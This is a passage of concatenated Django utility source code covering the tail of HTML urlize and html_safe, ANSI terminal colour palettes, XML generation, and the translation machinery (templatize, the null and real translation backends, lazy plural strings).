                if autoescape and not safe_input:
                    lead, trail = escape(lead), escape(trail)
                    trimmed = escape(trimmed)
                middle = '<a href="%s"%s>%s</a>' % (escape(url), nofollow_attr, trimmed)
                words[i] = mark_safe('%s%s%s' % (lead, middle, trail))
            else:
                if safe_input:
                    words[i] = mark_safe(word)
                elif autoescape:
                    words[i] = escape(word)
        elif safe_input:
            words[i] = mark_safe(word)
        elif autoescape:
            words[i] = escape(word)
    return ''.join(words)


def avoid_wrapping(value):
    """
    Avoid text wrapping in the middle of a phrase by adding non-breaking
    spaces where there previously were normal spaces.
    """
    return value.replace(" ", "\xa0")


def html_safe(klass):
    """
    A decorator that defines the __html__ method. This helps non-Django
    templates to detect classes whose __str__ methods return SafeText.
    """
    if '__html__' in klass.__dict__:
        raise ValueError(
            "can't apply @html_safe to %s because it defines "
            "__html__()." % klass.__name__
        )
    if six.PY2:
        if '__unicode__' not in klass.__dict__:
            raise ValueError(
                "can't apply @html_safe to %s because it doesn't "
                "define __unicode__()." % klass.__name__
            )
        klass_unicode = klass.__unicode__
        klass.__unicode__ = lambda self: mark_safe(klass_unicode(self))
        klass.__html__ = lambda self: unicode(self)  # NOQA: unicode undefined on PY3
    else:
        if '__str__' not in klass.__dict__:
            raise ValueError(
                "can't apply @html_safe to %s because it doesn't "
                "define __str__()." % klass.__name__
            )
        klass_str = klass.__str__
        klass.__str__ = lambda self: mark_safe(klass_str(self))
        klass.__html__ = lambda self: str(self)
    return klass






"""
termcolors.py
"""

from django.utils import six

color_names = ('black', 'red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white')
foreground = {color_names[x]: '3%s' % x for x in range(8)}
background = {color_names[x]: '4%s' % x for x in range(8)}

RESET = '0'
opt_dict = {'bold': '1', 'underscore': '4', 'blink': '5', 'reverse': '7', 'conceal': '8'}


def colorize(text='', opts=(), **kwargs):
    """
    Returns your text, enclosed in ANSI graphics codes.

    Depends on the keyword arguments 'fg' and 'bg', and the contents of
    the opts tuple/list.

    Returns the RESET code if no parameters are given.

    Valid colors:
        'black', 'red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white'

    Valid options:
        'bold'
        'underscore'
        'blink'
        'reverse'
        'conceal'
        'noreset' - string will not be auto-terminated with the RESET code

    Examples:
        colorize('hello', fg='red', bg='blue', opts=('blink',))
        colorize()
        colorize('goodbye', opts=('underscore',))
        print(colorize('first line', fg='red', opts=('noreset',)))
        print('this should be red too')
        print(colorize('and so should this'))
        print('this should not be red')
    """
    code_list = []
    if text == '' and len(opts) == 1 and opts[0] == 'reset':
        return '\x1b[%sm' % RESET
    for k, v in six.iteritems(kwargs):
        if k == 'fg':
            code_list.append(foreground[v])
        elif k == 'bg':
            code_list.append(background[v])
    for o in opts:
        if o in opt_dict:
            code_list.append(opt_dict[o])
    if 'noreset' not in opts:
        text = '%s\x1b[%sm' % (text or '', RESET)
    return '%s%s' % (('\x1b[%sm' % ';'.join(code_list)), text or '')


def make_style(opts=(), **kwargs):
    """
    Returns a function with default parameters for colorize()

    Example:
        bold_red = make_style(opts=('bold',), fg='red')
        print(bold_red('hello'))
        KEYWORD = make_style(fg='yellow')
        COMMENT = make_style(fg='blue', opts=('bold',))
    """
    return lambda text: colorize(text, opts, **kwargs)

NOCOLOR_PALETTE = 'nocolor'
DARK_PALETTE = 'dark'
LIGHT_PALETTE = 'light'

PALETTES = {
    NOCOLOR_PALETTE: {
        'ERROR': {},
        'SUCCESS': {},
        'WARNING': {},
        'NOTICE': {},
        'SQL_FIELD': {},
        'SQL_COLTYPE': {},
        'SQL_KEYWORD': {},
        'SQL_TABLE': {},
        'HTTP_INFO': {},
        'HTTP_SUCCESS': {},
        'HTTP_REDIRECT': {},
        'HTTP_NOT_MODIFIED': {},
        'HTTP_BAD_REQUEST': {},
        'HTTP_NOT_FOUND': {},
        'HTTP_SERVER_ERROR': {},
        'MIGRATE_HEADING': {},
        'MIGRATE_LABEL': {},
    },
    DARK_PALETTE: {
        'ERROR': {'fg': 'red', 'opts': ('bold',)},
        'SUCCESS': {'fg': 'green', 'opts': ('bold',)},
        'WARNING': {'fg': 'yellow', 'opts': ('bold',)},
        'NOTICE': {'fg': 'red'},
        'SQL_FIELD': {'fg': 'green', 'opts': ('bold',)},
        'SQL_COLTYPE': {'fg': 'green'},
        'SQL_KEYWORD': {'fg': 'yellow'},
        'SQL_TABLE': {'opts': ('bold',)},
        'HTTP_INFO': {'opts': ('bold',)},
        'HTTP_SUCCESS': {},
        'HTTP_REDIRECT': {'fg': 'green'},
        'HTTP_NOT_MODIFIED': {'fg': 'cyan'},
        'HTTP_BAD_REQUEST': {'fg': 'red', 'opts': ('bold',)},
        'HTTP_NOT_FOUND': {'fg': 'yellow'},
        'HTTP_SERVER_ERROR': {'fg': 'magenta', 'opts': ('bold',)},
        'MIGRATE_HEADING': {'fg': 'cyan', 'opts': ('bold',)},
        'MIGRATE_LABEL': {'opts': ('bold',)},
    },
    LIGHT_PALETTE: {
        'ERROR': {'fg': 'red', 'opts': ('bold',)},
        'SUCCESS': {'fg': 'green', 'opts': ('bold',)},
        'WARNING': {'fg': 'yellow', 'opts': ('bold',)},
        'NOTICE': {'fg': 'red'},
        'SQL_FIELD': {'fg': 'green', 'opts': ('bold',)},
        'SQL_COLTYPE': {'fg': 'green'},
        'SQL_KEYWORD': {'fg': 'blue'},
        'SQL_TABLE': {'opts': ('bold',)},
        'HTTP_INFO': {'opts': ('bold',)},
        'HTTP_SUCCESS': {},
        'HTTP_REDIRECT': {'fg': 'green', 'opts': ('bold',)},
        'HTTP_NOT_MODIFIED': {'fg': 'green'},
        'HTTP_BAD_REQUEST': {'fg': 'red', 'opts': ('bold',)},
        'HTTP_NOT_FOUND': {'fg': 'red'},
        'HTTP_SERVER_ERROR': {'fg': 'magenta', 'opts': ('bold',)},
        'MIGRATE_HEADING': {'fg': 'cyan', 'opts': ('bold',)},
        'MIGRATE_LABEL': {'opts': ('bold',)},
    }
}
DEFAULT_PALETTE = DARK_PALETTE


def parse_color_setting(config_string):
    """Parse a DJANGO_COLORS environment variable to produce the system palette

    The general form of a palette definition is:

        "palette;role=fg;role=fg/bg;role=fg,option,option;role=fg/bg,option,option"

    where:
        palette is a named palette; one of 'light', 'dark', or 'nocolor'.
        role is a named style used by Django
        fg is a background color.
        bg is a background color.
        option is a display options.

    Specifying a named palette is the same as manually specifying the individual
    definitions for each role. Any individual definitions following the palette
    definition will augment the base palette definition.

    Valid roles:
        'error', 'notice', 'sql_field', 'sql_coltype', 'sql_keyword', 'sql_table',
        'http_info', 'http_success', 'http_redirect', 'http_bad_request',
        'http_not_found', 'http_server_error'

    Valid colors:
        'black', 'red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white'

    Valid options:
        'bold', 'underscore', 'blink', 'reverse', 'conceal'
    """
    if not config_string:
        return PALETTES[DEFAULT_PALETTE]

    # Split the color configuration into parts
    parts = config_string.lower().split(';')
    palette = PALETTES[NOCOLOR_PALETTE].copy()
    for part in parts:
        if part in PALETTES:
            # A default palette has been specified
            palette.update(PALETTES[part])
        elif '=' in part:
            # Process a palette defining string
            definition = {}

            # Break the definition into the role,
            # plus the list of specific instructions.
            # The role must be in upper case
            role, instructions = part.split('=')
            role = role.upper()

            styles = instructions.split(',')
            styles.reverse()

            # The first instruction can contain a slash
            # to break apart fg/bg.
            colors = styles.pop().split('/')
            colors.reverse()
            fg = colors.pop()
            if fg in color_names:
                definition['fg'] = fg
            if colors and colors[-1] in color_names:
                definition['bg'] = colors[-1]

            # All remaining instructions are options
            opts = tuple(s for s in styles if s in opt_dict.keys())
            if opts:
                definition['opts'] = opts

            # The nocolor palette has all available roles.
            # Use that palette as the basis for determining
            # if the role is valid.
            if role in PALETTES[NOCOLOR_PALETTE] and definition:
                palette[role] = definition

    # If there are no colors specified, return the empty palette.
    if palette == PALETTES[NOCOLOR_PALETTE]:
        return None
    return palette






"""
Utilities for XML generation/parsing.
"""

import re
from xml.sax.saxutils import XMLGenerator


class UnserializableContentError(ValueError):
    pass


class SimplerXMLGenerator(XMLGenerator):
    def addQuickElement(self, name, contents=None, attrs=None):
        "Convenience method for adding an element with no children"
        if attrs is None:
            attrs = {}
        self.startElement(name, attrs)
        if contents is not None:
            self.characters(contents)
        self.endElement(name)

    def characters(self, content):
        if content and re.search(r'[\x00-\x08\x0B-\x0C\x0E-\x1F]', content):
            # Fail loudly when content has control chars (unsupported in XML 1.0)
            # See http://www.w3.org/International/questions/qa-controls
            raise UnserializableContentError("Control characters are not supported in XML 1.0")
        XMLGenerator.characters(self, content)






from __future__ import unicode_literals

import re
import warnings

from django.conf import settings
from django.template.base import (
    TOKEN_BLOCK, TOKEN_COMMENT, TOKEN_TEXT, TOKEN_VAR, TRANSLATOR_COMMENT_MARK,
    Lexer,
)
from django.utils import six
from django.utils.encoding import force_text
from django.utils.six import StringIO

from . import TranslatorCommentWarning, trim_whitespace

dot_re = re.compile(r'\S')


def blankout(src, char):
    """
    Change every non-whitespace character to the given char.
    Used in the templatize function.
    """
    return dot_re.sub(char, src)


context_re = re.compile(r"""^\s+.*context\s+((?:"[^"]*?")|(?:'[^']*?'))\s*""")
inline_re = re.compile(
    # Match the trans 'some text' part
    r"""^\s*trans\s+((?:"[^"]*?")|(?:'[^']*?'))"""
    # Match and ignore optional filters
    r"""(?:\s*\|\s*[^\s:]+(?::(?:[^\s'":]+|(?:"[^"]*?")|(?:'[^']*?')))?)*"""
    # Match the optional context part
    r"""(\s+.*context\s+((?:"[^"]*?")|(?:'[^']*?')))?\s*"""
)
block_re = re.compile(r"""^\s*blocktrans(\s+.*context\s+((?:"[^"]*?")|(?:'[^']*?')))?(?:\s+|$)""")
endblock_re = re.compile(r"""^\s*endblocktrans$""")
plural_re = re.compile(r"""^\s*plural$""")
constant_re = re.compile(r"""_\(((?:".*?")|(?:'.*?'))\)""")


def templatize(src, origin=None):
    """
    Turn a Django template into something that is understood by xgettext. It
    does so by translating the Django translation tags into standard gettext
    function invocations.
    """
    src = force_text(src, settings.FILE_CHARSET)
    out = StringIO('')
    message_context = None
    intrans = False
    inplural = False
    trimmed = False
    singular = []
    plural = []
    incomment = False
    comment = []
    lineno_comment_map = {}
    comment_lineno_cache = None
    # Adding the u prefix allows gettext to recognize the Unicode string
    # (#26093).
    raw_prefix = 'u' if six.PY3 else ''

    def join_tokens(tokens, trim=False):
        message = ''.join(tokens)
        if trim:
            message = trim_whitespace(message)
        return message

    for t in Lexer(src).tokenize():
        if incomment:
            if t.token_type == TOKEN_BLOCK and t.contents == 'endcomment':
                content = ''.join(comment)
                translators_comment_start = None
                for lineno, line in enumerate(content.splitlines(True)):
                    if line.lstrip().startswith(TRANSLATOR_COMMENT_MARK):
                        translators_comment_start = lineno
                for lineno, line in enumerate(content.splitlines(True)):
                    if translators_comment_start is not None and lineno >= translators_comment_start:
                        out.write(' # %s' % line)
                    else:
                        out.write(' #\n')
                incomment = False
                comment = []
            else:
                comment.append(t.contents)
        elif intrans:
            if t.token_type == TOKEN_BLOCK:
                endbmatch = endblock_re.match(t.contents)
                pluralmatch = plural_re.match(t.contents)
                if endbmatch:
                    if inplural:
                        if message_context:
                            out.write(' npgettext({p}{!r}, {p}{!r}, {p}{!r},count) '.format(
                                message_context,
                                join_tokens(singular, trimmed),
                                join_tokens(plural, trimmed),
                                p=raw_prefix,
                            ))
                        else:
                            out.write(' ngettext({p}{!r}, {p}{!r}, count) '.format(
                                join_tokens(singular, trimmed),
                                join_tokens(plural, trimmed),
                                p=raw_prefix,
                            ))
                        for part in singular:
                            out.write(blankout(part, 'S'))
                        for part in plural:
                            out.write(blankout(part, 'P'))
                    else:
                        if message_context:
                            out.write(' pgettext({p}{!r}, {p}{!r}) '.format(
                                message_context,
                                join_tokens(singular, trimmed),
                                p=raw_prefix,
                            ))
                        else:
                            out.write(' gettext({p}{!r}) '.format(
                                join_tokens(singular, trimmed),
                                p=raw_prefix,
                            ))
                        for part in singular:
                            out.write(blankout(part, 'S'))
                    message_context = None
                    intrans = False
                    inplural = False
                    singular = []
                    plural = []
                elif pluralmatch:
                    inplural = True
                else:
                    filemsg = ''
                    if origin:
                        filemsg = 'file %s, ' % origin
                    raise SyntaxError(
                        "Translation blocks must not include other block tags: "
                        "%s (%sline %d)" % (t.contents, filemsg, t.lineno)
                    )
            elif t.token_type == TOKEN_VAR:
                if inplural:
                    plural.append('%%(%s)s' % t.contents)
                else:
                    singular.append('%%(%s)s' % t.contents)
            elif t.token_type == TOKEN_TEXT:
                contents = t.contents.replace('%', '%%')
                if inplural:
                    plural.append(contents)
                else:
                    singular.append(contents)
        else:
            # Handle comment tokens (`{# ... #}`) plus other constructs on
            # the same line:
            if comment_lineno_cache is not None:
                cur_lineno = t.lineno + t.contents.count('\n')
                if comment_lineno_cache == cur_lineno:
                    if t.token_type != TOKEN_COMMENT:
                        for c in lineno_comment_map[comment_lineno_cache]:
                            filemsg = ''
                            if origin:
                                filemsg = 'file %s, ' % origin
                            warn_msg = (
                                "The translator-targeted comment '%s' "
                                "(%sline %d) was ignored, because it wasn't "
                                "the last item on the line."
                            ) % (c, filemsg, comment_lineno_cache)
                            warnings.warn(warn_msg, TranslatorCommentWarning)
                        lineno_comment_map[comment_lineno_cache] = []
                else:
                    out.write('# %s' % ' | '.join(lineno_comment_map[comment_lineno_cache]))
                comment_lineno_cache = None

            if t.token_type == TOKEN_BLOCK:
                imatch = inline_re.match(t.contents)
                bmatch = block_re.match(t.contents)
                cmatches = constant_re.findall(t.contents)
                if imatch:
                    g = imatch.group(1)
                    if g[0] == '"':
                        g = g.strip('"')
                    elif g[0] == "'":
                        g = g.strip("'")
                    g = g.replace('%', '%%')
                    if imatch.group(2):
                        # A context is provided
                        context_match = context_re.match(imatch.group(2))
                        message_context = context_match.group(1)
                        if message_context[0] == '"':
                            message_context = message_context.strip('"')
                        elif message_context[0] == "'":
                            message_context = message_context.strip("'")
                        out.write(' pgettext({p}{!r}, {p}{!r}) '.format(
                            message_context, g, p=raw_prefix
                        ))
                        message_context = None
                    else:
                        out.write(' gettext({p}{!r}) '.format(g, p=raw_prefix))
                elif bmatch:
                    for fmatch in constant_re.findall(t.contents):
                        out.write(' _(%s) ' % fmatch)
                    if bmatch.group(1):
                        # A context is provided
                        context_match = context_re.match(bmatch.group(1))
                        message_context = context_match.group(1)
                        if message_context[0] == '"':
                            message_context = message_context.strip('"')
                        elif message_context[0] == "'":
                            message_context = message_context.strip("'")
                    intrans = True
                    inplural = False
                    trimmed = 'trimmed' in t.split_contents()
                    singular = []
                    plural = []
                elif cmatches:
                    for cmatch in cmatches:
                        out.write(' _(%s) ' % cmatch)
                elif t.contents == 'comment':
                    incomment = True
                else:
                    out.write(blankout(t.contents, 'B'))
            elif t.token_type == TOKEN_VAR:
                parts = t.contents.split('|')
                cmatch = constant_re.match(parts[0])
                if cmatch:
                    out.write(' _(%s) ' % cmatch.group(1))
                for p in parts[1:]:
                    if p.find(':_(') >= 0:
                        out.write(' %s ' % p.split(':', 1)[1])
                    else:
                        out.write(blankout(p, 'F'))
            elif t.token_type == TOKEN_COMMENT:
                if t.contents.lstrip().startswith(TRANSLATOR_COMMENT_MARK):
                    lineno_comment_map.setdefault(t.lineno, []).append(t.contents)
                    comment_lineno_cache = t.lineno
            else:
                out.write(blankout(t.contents, 'X'))
    return out.getvalue()






# These are versions of the functions in django.utils.translation.trans_real
# that don't actually do anything. This is purely for performance, so that
# settings.USE_I18N = False can use this module rather than trans_real.py.

from django.conf import settings
from django.utils.encoding import force_text


def ngettext(singular, plural, number):
    if number == 1:
        return singular
    return plural
ngettext_lazy = ngettext


def ungettext(singular, plural, number):
    return force_text(ngettext(singular, plural, number))


def pgettext(context, message):
    return ugettext(message)


def npgettext(context, singular, plural, number):
    return ungettext(singular, plural, number)


def activate(x):
    return None


def deactivate():
    return None


deactivate_all = deactivate


def get_language():
    return settings.LANGUAGE_CODE


def get_language_bidi():
    return settings.LANGUAGE_CODE in settings.LANGUAGES_BIDI


def check_for_language(x):
    return True


def gettext(message):
    return message


def ugettext(message):
    return force_text(gettext(message))

gettext_noop = gettext_lazy = _ = gettext


def to_locale(language):
    p = language.find('-')
    if p >= 0:
        return language[:p].lower() + '_' + language[p + 1:].upper()
    else:
        return language.lower()


def get_language_from_request(request, check_path=False):
    return settings.LANGUAGE_CODE


def get_language_from_path(request):
    return None






"""
Internationalization support.
"""
from __future__ import unicode_literals

import re

from django.utils import six
from django.utils.decorators import ContextDecorator
from django.utils.encoding import force_text
from django.utils.functional import lazy

__all__ = [
    'activate', 'deactivate', 'override', 'deactivate_all',
    'get_language', 'get_language_from_request',
    'get_language_info', 'get_language_bidi',
    'check_for_language', 'to_locale', 'templatize', 'string_concat',
    'gettext', 'gettext_lazy', 'gettext_noop',
    'ugettext', 'ugettext_lazy', 'ugettext_noop',
    'ngettext', 'ngettext_lazy',
    'ungettext', 'ungettext_lazy',
    'pgettext', 'pgettext_lazy',
    'npgettext', 'npgettext_lazy',
    'LANGUAGE_SESSION_KEY',
]

LANGUAGE_SESSION_KEY = '_language'


class TranslatorCommentWarning(SyntaxWarning):
    pass


# Here be dragons, so a short explanation of the logic won't hurt:
# We are trying to solve two problems: (1) access settings, in particular
# settings.USE_I18N, as late as possible, so that modules can be imported
# without having to first configure Django, and (2) if some other code creates
# a reference to one of these functions, don't break that reference when we
# replace the functions with their real counterparts (once we do access the
# settings).

class Trans(object):
    """
    The purpose of this class is to store the actual translation function upon
    receiving the first call to that function. After this is done, changes to
    USE_I18N will have no effect to which function is served upon request. If
    your tests rely on changing USE_I18N, you can delete all the functions
    from _trans.__dict__.

    Note that storing the function with setattr will have a noticeable
    performance effect, as access to the function goes the normal path,
    instead of using __getattr__.
    """

    def __getattr__(self, real_name):
        from django.conf import settings
        if settings.USE_I18N:
            from django.utils.translation import trans_real as trans
        else:
            from django.utils.translation import trans_null as trans
        setattr(self, real_name, getattr(trans, real_name))
        return getattr(trans, real_name)

_trans = Trans()

# The Trans class is no more needed, so remove it from the namespace.
del Trans


def gettext_noop(message):
    return _trans.gettext_noop(message)

ugettext_noop = gettext_noop


def gettext(message):
    return _trans.gettext(message)


def ngettext(singular, plural, number):
    return _trans.ngettext(singular, plural, number)


def ugettext(message):
    return _trans.ugettext(message)


def ungettext(singular, plural, number):
    return _trans.ungettext(singular, plural, number)


def pgettext(context, message):
    return _trans.pgettext(context, message)


def npgettext(context, singular, plural, number):
    return _trans.npgettext(context, singular, plural, number)

gettext_lazy = lazy(gettext, str)
ugettext_lazy = lazy(ugettext, six.text_type)
pgettext_lazy = lazy(pgettext, six.text_type)


def lazy_number(func, resultclass, number=None, **kwargs):
    if isinstance(number, six.integer_types):
        kwargs['number'] = number
        proxy = lazy(func, resultclass)(**kwargs)
    else:
        original_kwargs = kwargs.copy()

        class NumberAwareString(resultclass):
            def __bool__(self):
                return bool(kwargs['singular'])

            def __nonzero__(self):  # Python 2 compatibility
                return type(self).__bool__(self)

            def __mod__(self, rhs):
                if isinstance(rhs, dict) and number:
                    try:
                        number_value = rhs[number]
                    except KeyError:
                        raise KeyError(
                            "Your dictionary lacks key '%s\'. Please provide "
                            "it, because it is required to determine whether "
                            "string is singular or plural." % number
                        )
                else:
                    number_value = rhs
                kwargs['number'] = number_value
                translated = func(**kwargs)
                try:
                    translated = translated % rhs
                except TypeError:
                    # String doesn't contain a placeholder for the number
                    pass
                return translated

        proxy = lazy(lambda **kwargs: NumberAwareString(), NumberAwareString)(**kwargs)
        proxy.__reduce__ = lambda: (_lazy_number_unpickle, (func, resultclass, number, original_kwargs))
    return proxy


def _lazy_number_unpickle(func, resultclass, number, kwargs):
    return lazy_number(func, resultclass, number=number, **kwargs)


def ngettext_lazy(singular, plural, number=None):
    return lazy_number(ngettext, str, singular=singular, plural=plural, number=number)


def ungettext_lazy(singular, plural, number=None):
    return lazy_number(ungettext, six.text_type, singular=singular, plural=plural, number=number)


def npgettext_lazy(context, singular, plural, number=None):
    return lazy_number(npgettext, six.text_type, context=context, singular=singular, plural=plural, number=number)


def activate(language):
    return _trans.activate(language)


def deactivate():
    return _trans.deactivate()


class override(ContextDecorator):
    def __init__(self, language, deactivate=False):
        self.language = language
        self.deactivate = deactivate

    def __enter__(self):
        self.old_language = get_language()
        if self.language is not None:
            activate(self.language)
        else:
            deactivate_all()

    def __exit__(self, exc_type, exc_value, traceback):
        if self.old_language is None:
            deactivate_all()
        elif self.deactivate:
            deactivate()
        else:
            activate(self.old_language)


def get_language():
    return _trans.get_language()


def get_language_bidi():
    return _trans.get_language_bidi()


def check_for_language(lang_code):
    return _trans.check_for_language(lang_code)


def to_locale(language):
    return _trans.to_locale(language)


def get_language_from_request(request, check_path=False):
    return _trans.get_language_from_request(request, check_path)


def get_language_from_path(path):
    return _trans.get_language_from_path(path)


def templatize(src, origin=None):
    from .template import templatize
    return templatize(src, origin)


def deactivate_all():
    return _trans.deactivate_all()


def _string_concat(*strings):
    """
    Lazy variant of string concatenation, needed for translations that are
    constructed from multiple parts.
    """
    return ''.join(force_text(s) for s in strings)
string_concat = lazy(_string_concat, six.text_type)


def get_language_info(lang_code):
    from django.conf.locale import LANG_INFO
    try:
        lang_info = LANG_INFO[lang_code]
        if 'fallback' in lang_info and 'name' not in lang_info:
            info = get_language_info(lang_info['fallback'][0])
        else:
            info = lang_info
    except KeyError:
        if '-' not in lang_code:
            raise KeyError("Unknown language code %s." % lang_code)
        generic_lang_code = lang_code.split('-')[0]
        try:
            info = LANG_INFO[generic_lang_code]
        except KeyError:
            raise KeyError("Unknown language code %s and %s." % (lang_code, generic_lang_code))

    if info:
        info['name_translated'] = ugettext_lazy(info['name'])
    return info

trim_whitespace_re = re.compile('\s*\n\s*')


def trim_whitespace(s):
    return trim_whitespace_re.sub(' ', s.strip())






"""Translation helper functions."""
from __future__ import unicode_literals

import gettext as gettext_module
import os
import re
import sys
import warnings
from collections import OrderedDict
from threading import local

from django.apps import apps
from django.conf import settings
from django.conf.locale import LANG_INFO
from django.core.exceptions import AppRegistryNotReady
from django.core.signals import setting_changed
from django.dispatch import receiver
from django.utils import lru_cache, six
from django.utils._os import upath
from django.utils.encoding import force_text
from django.utils.safestring import SafeData, mark_safe
from django.utils.translation import LANGUAGE_SESSION_KEY

# Translations are cached in a dictionary for every language.
# The active translations are stored by threadid to make them thread local.
_translations = {}
_active = local()

# The default translation is based on the settings file.
_default = None

# magic gettext number to separate context from message
CONTEXT_SEPARATOR = "\x04"

# Format of Accept-Language header values. From RFC 2616, section 14.4 and 3.9
# and RFC 3066, section 2.1
accept_language_re = re.compile(r'''
        ([A-Za-z]{1,8}(?:-[A-Za-z0-9]{1,8})*|\*)      # "en", "en-au", "x-y-z", "es-419", "*"
        (?:\s*;\s*q=(0(?:\.\d{,3})?|1(?:\.0{,3})?))?  # Optional "q=1.00", "q=0.8"
        (?:\s*,\s*|$)                                 # Multiple accepts per header.
        ''', re.VERBOSE)

language_code_re = re.compile(
    r'^[a-z]{1,8}(?:-[a-z0-9]{1,8})*(?:@[a-z0-9]{1,20})?$',
    re.IGNORECASE
)

language_code_prefix_re = re.compile(r'^/([\w@-]+)(/|$)')


@receiver(setting_changed)
def reset_cache(**kwargs):
    """
    Reset global state when LANGUAGES setting has been changed, as some
    languages should no longer be accepted.
    """
    if kwargs['setting'] in ('LANGUAGES', 'LANGUAGE_CODE'):
        check_for_language.cache_clear()
        get_languages.cache_clear()
        get_supported_language_variant.cache_clear()


def to_locale(language, to_lower=False):
    """
    Turns a language name (en-us) into a locale name (en_US). If 'to_lower' is
    True, the last component is lower-cased (en_us).
    """
    p = language.find('-')
    if p >= 0:
        if to_lower:
            return language[:p].lower() + '_' + language[p + 1:].lower()
        else:
            # Get correct locale for sr-latn
            if len(language[p + 1:]) > 2:
                return language[:p].lower() + '_' + language[p + 1].upper() + language[p + 2:].lower()
            return language[:p].lower() + '_' + language[p + 1:].upper()
    else:
        return language.lower()


def to_language(locale):
    """Turns a locale name (en_US) into a language name (en-us)."""
    p = locale.find('_')
    if p >= 0:
        return locale[:p].lower() + '-' + locale[p + 1:].lower()
    else:
        return locale.lower()


class DjangoTranslation(gettext_module.GNUTranslations):
    """
    This class sets up the GNUTranslations context with regard to output
    charset.

    This translation object will be constructed out of multiple GNUTranslations
    objects by merging their catalogs. It will construct an object for the
    requested language and add a fallback to the default language, if it's
    different from the requested language.
    """
    domain = 'django'

    def __init__(self, language, domain=None, localedirs=None):
        """Create a GNUTranslations() using many locale directories"""
        gettext_module.GNUTranslations.__init__(self)
        if domain is not None:
            self.domain = domain
        self.set_output_charset('utf-8')  # For Python 2 gettext() (#25720)

        self.__language = language
        self.__to_language = to_language(language)
        self.__locale = to_locale(language)
        self._catalog = None
        # If a language doesn't have a catalog, use the Germanic default for
        # pluralization: anything except one is pluralized.
        self.plural = lambda n: int(n != 1)

        if self.domain == 'django':
            if localedirs is not None:
                # A module-level cache is used for caching 'django' translations
                warnings.warn("localedirs is ignored when domain is 'django'.", RuntimeWarning)
                localedirs = None
            self._init_translation_catalog()

        if localedirs:
            for localedir in localedirs:
                translation = self._new_gnu_trans(localedir)
                self.merge(translation)
        else:
            self._add_installed_apps_translations()

        self._add_local_translations()
        if self.__language == settings.LANGUAGE_CODE and self.domain == 'django' and self._catalog is None:
            # default lang should have at least one translation file available.
            raise IOError("No translation files found for default language %s." % settings.LANGUAGE_CODE)
        self._add_fallback(localedirs)
        if self._catalog is None:
            # No catalogs found for this language, set an empty catalog.
            self._catalog = {}

    def __repr__(self):
        return "<DjangoTranslation lang:%s>" % self.__language

    def _new_gnu_trans(self, localedir, use_null_fallback=True):
        """
        Returns a mergeable gettext.GNUTranslations instance.

        A convenience wrapper. By default gettext uses 'fallback=False'.
        Using param `use_null_fallback` to avoid confusion with any other
        references to 'fallback'.
        """
        return gettext_module.translation(
            domain=self.domain,
            localedir=localedir,
            languages=[self.__locale],
            codeset='utf-8',
            fallback=use_null_fallback)

    def _init_translation_catalog(self):
        """Creates a base catalog using global django translations."""
        settingsfile = upath(sys.modules[settings.__module__].__file__)
        localedir = os.path.join(os.path.dirname(settingsfile), 'locale')
        translation = self._new_gnu_trans(localedir)
        self.merge(translation)

    def _add_installed_apps_translations(self):
        """Merges translations from each installed app."""
        try:
            app_configs = reversed(list(apps.get_app_configs()))
        except AppRegistryNotReady:
            raise AppRegistryNotReady(
                "The translation infrastructure cannot be initialized before the "
                "apps registry is ready. Check that you don't make non-lazy "
                "gettext calls at import time.")
        for app_config in app_configs:
            localedir = os.path.join(app_config.path, 'locale')
            translation = self._new_gnu_trans(localedir)
            self.merge(translation)

    def _add_local_translations(self):
        """Merges translations defined in LOCALE_PATHS."""
        for localedir in reversed(settings.LOCALE_PATHS):
            translation = self._new_gnu_trans(localedir)
            self.merge(translation)

    def _add_fallback(self, localedirs=None):
        """Sets the GNUTranslations() fallback with the default language."""
        # Don't set a fallback for the default language or any English variant
        # (as it's empty, so it'll ALWAYS fall back to the default language)
        if self.__language == settings.LANGUAGE_CODE or self.__language.startswith('en'):
            return
        if self.domain == 'django':
            # Get from cache
            default_translation = translation(settings.LANGUAGE_CODE)
        else:
            default_translation = DjangoTranslation(
                settings.LANGUAGE_CODE, domain=self.domain, localedirs=localedirs
            )
        self.add_fallback(default_translation)

    def merge(self, other):
        """Merge another translation into this catalog."""
        if not getattr(other, '_catalog', None):
            return  # NullTranslations() has no _catalog
        if self._catalog is None:
            # Take plural and _info from first catalog found (generally Django's).
            self.plural = other.plural
            self._info = other._info.copy()
            self._catalog = other._catalog.copy()
        else:
            self._catalog.update(other._catalog)

    def language(self):
        """Returns the translation language."""
        return self.__language

    def to_language(self):
        """Returns the translation language name."""
        return self.__to_language


def translation(language):
    """
    Returns a translation object in the default 'django' domain.
    """
    global _translations
    if language not in _translations:
        _translations[language] = DjangoTranslation(language)
    return _translations[language]


def activate(language):
    """
    Fetches the translation object for a given language and installs it as the
    current translation object for the current thread.
    """
    if not language:
        return
    _active.value = translation(language)


def deactivate():
    """
    Deinstalls the currently active translation object so that further _ calls
    will resolve against the default translation object, again.
    """
    if hasattr(_active, "value"):
        del _active.value


def deactivate_all():
    """
    Makes the active translation object a NullTranslations() instance. This is
    useful when we want delayed translations to appear as the original string
    for some reason.
    """
    _active.value = gettext_module.NullTranslations()
    _active.value.to_language = lambda *args: None


def get_language():
    """Returns the currently selected language."""
    t = getattr(_active, "value", None)
    if t is not None:
        try:
            return t.to_language()
        except AttributeError:
            pass
    # If we don't have a real translation object, assume it's the default language.
    return settings.LANGUAGE_CODE


def get_language_bidi():
    """
    Returns selected language's BiDi layout.

    * False = left-to-right layout
    * True = right-to-left layout
    """
    lang = get_language()
    if lang is None:
        return False
    else:
        base_lang = get_language().split('-')[0]
        return base_lang in settings.LANGUAGES_BIDI


def catalog():
    """
    Returns the current active catalog for further processing.
    This can be used if you need to modify the catalog or want to access the
    whole message catalog instead of just translating one string.
    """
    global _default

    t = getattr(_active, "value", None)
    if t is not None:
        return t
    if _default is None:
        _default = translation(settings.LANGUAGE_CODE)
    return _default


def do_translate(message, translation_function):
    """
    Translates 'message' using the given 'translation_function' name -- which
    will be either gettext or ugettext. It uses the current thread to find the
    translation object to use. If no current translation is activated, the
    message will be run through the default translation object.
    """
    global _default

    # str() is allowing a bytestring message to remain bytestring on Python 2
    eol_message = message.replace(str('\r\n'), str('\n')).replace(str('\r'), str('\n'))

    if len(eol_message) == 0:
        # Returns an empty value of the corresponding type if an empty message
        # is given, instead of metadata, which is the default gettext behavior.
        result = type(message)("")
    else:
        _default = _default or translation(settings.LANGUAGE_CODE)
        translation_object = getattr(_active, "value", _default)

        result = getattr(translation_object, translation_function)(eol_message)

    if isinstance(message, SafeData):
        return mark_safe(result)

    return result


